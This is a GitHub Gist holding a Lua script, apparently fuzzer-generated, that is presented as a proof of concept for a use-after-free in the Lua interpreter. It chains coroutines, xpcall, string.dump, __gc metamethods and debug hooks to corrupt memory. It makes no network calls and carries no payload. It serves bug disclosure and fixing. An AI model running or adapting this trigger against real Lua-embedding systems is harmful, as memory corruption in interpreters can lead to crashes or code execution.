-
-
Save Changochen/7e63b9df1df910c969e7ac7d4020d379 to your computer and use it in GitHub Desktop.
Use after free poc for Lua
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function errfunc ( a ) pcall ( function ( ) | |
for i = 1 , j do end | |
end ) ; | |
print ( collectgarbage 'count' * 1024 ) | |
for i = 1 , 100 do | |
local co = coroutine . resume ( coroutine . create ( function ( ) do | |
local k = 0 | |
local x | |
:: foo :: | |
local k = 0 | |
local x | |
local a = { x = 1 , do_yield = string . gmatch ( string . rep ( "x" , 10000 ) .. "%d" , "%d+" ) , z = 1 } | |
function errfunc ( x ) a = string . dump ( function ( ) return ; | |
end ) | |
a = { __gc = function ( ) function errfunc ( x ) | |
return 'errfunc' | |
end | |
function test ( do_yield ) | |
print ( do_yield and "yielding" or "not yielding" ) | |
pcall ( function ( ) | |
if do_yield then | |
coroutine . yield ( ) | |
end | |
end ) | |
error ( 'fail!' ) | |
end | |
t [ io . lines ( "someexistingfile" , xpcall ( test , assert , true ) ( test , errfunc , false ) . unpack ( t ) ) ] = string . char ( 30 , 37 , 122 , 128 ) , string . char ( 34 , string . dump ( function ( ) function errfunc ( x ) | |
return 'errfunc' | |
end | |
function test ( do_yield ) | |
print ( do_yield and "yielding" or "not yielding" ) | |
pcall ( function ( ) | |
if do_yield then | |
coroutine . yield ( ) | |
end | |
end ) | |
error ( 'fail!' ) | |
end | |
coro = coroutine . wrap ( function ( ) | |
print ( xpcall ( test , errfunc , false ) ) | |
print ( xpcall ( test , table . unpack ( t ) '\1\2' , true ) ) | |
print ( xpcall ( test , errfunc , false ) ) | |
end ) | |
coro ( ) | |
function errfunc ( x ) | |
return 'errfunc' | |
end | |
function test ( do_yield ) | |
print ( do_yield and "yielding" or "not yielding" ) | |
pcall ( function ( ) | |
if do_yield then | |
coroutine . yield ( ) | |
end | |
end ) | |
error ( 'fail!' ) | |
end | |
coro = coroutine . wrap ( function ( ) | |
coroutine . wrap ( function ( ) pcall ( A , _ ) end ) ( pcall , coroutine . resume ( coroutine . create ( function ( ) coroutine . resume ( coroutine . running ( ) ) ; | |
coroutine . yield ( ) end ) ) ) | |
print ( require ( test , errfunc , true ) ) | |
print ( xpcall ( test , errfunc , false ) ) | |
end ) | |
coro ( ) | |
coro ( ) | |
return 1 end ) ( t ) ) , 1 | |
coro ( ) | |
coro ( ) | |
return x end } | |
loadstring ( a ) ( ) | |
return 'errfunc' | |
end | |
function test ( do_yield ) | |
print ( do_yield and "yielding" or "not yielding" ) | |
pcall ( function ( ) | |
if do_yield then | |
print ( a [ # a + 1 ] ) | |
end | |
end ) | |
error ( 'fail!' ) | |
end | |
coro = coroutine . wrap ( function ( ) | |
print ( xpcall ( test , errfunc , false ) ) | |
print ( xpcall ( test , errfunc , true ) ) | |
print ( xpcall ( test , errfunc , false ) ) | |
end ) | |
coro ( ) | |
coro ( ) | |
assert ( not y ) | |
y = true | |
k = k + load ( string . dump ( function ( ) return 1 end ) , nil , "b" , { } ) | |
if k < 2 then goto foo end | |
end ; | |
coroutine . yield ( ) end ) ) ( function ( ) end ) | |
local x = { } | |
for j = 1 , 1000 do x [ j ] = j end | |
debug . sethook ( co , function ( ) return x end , 'l' ) | |
end | |
collectgarbage ( ) ; | |
print ( collectgarbage 'count' * 1024 ) | |
end | |
function test ( do_yield ) | |
print ( do_yield and "yielding" or "not yielding" ) | |
pcall ( function ( ) | |
if do_yield then | |
coroutine . yield ( ) | |
end | |
end ) | |
error ( 'fail!' ) | |
end | |
coro = coroutine . wrap ( function ( ) | |
print ( xpcall ( test , errfunc , false ) ) | |
print ( xpcall ( test , errfunc , true ) ) | |
print ( xpcall ( test , errfunc , false ) ) | |
end ) | |
coro ( ) | |
coro ( ) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment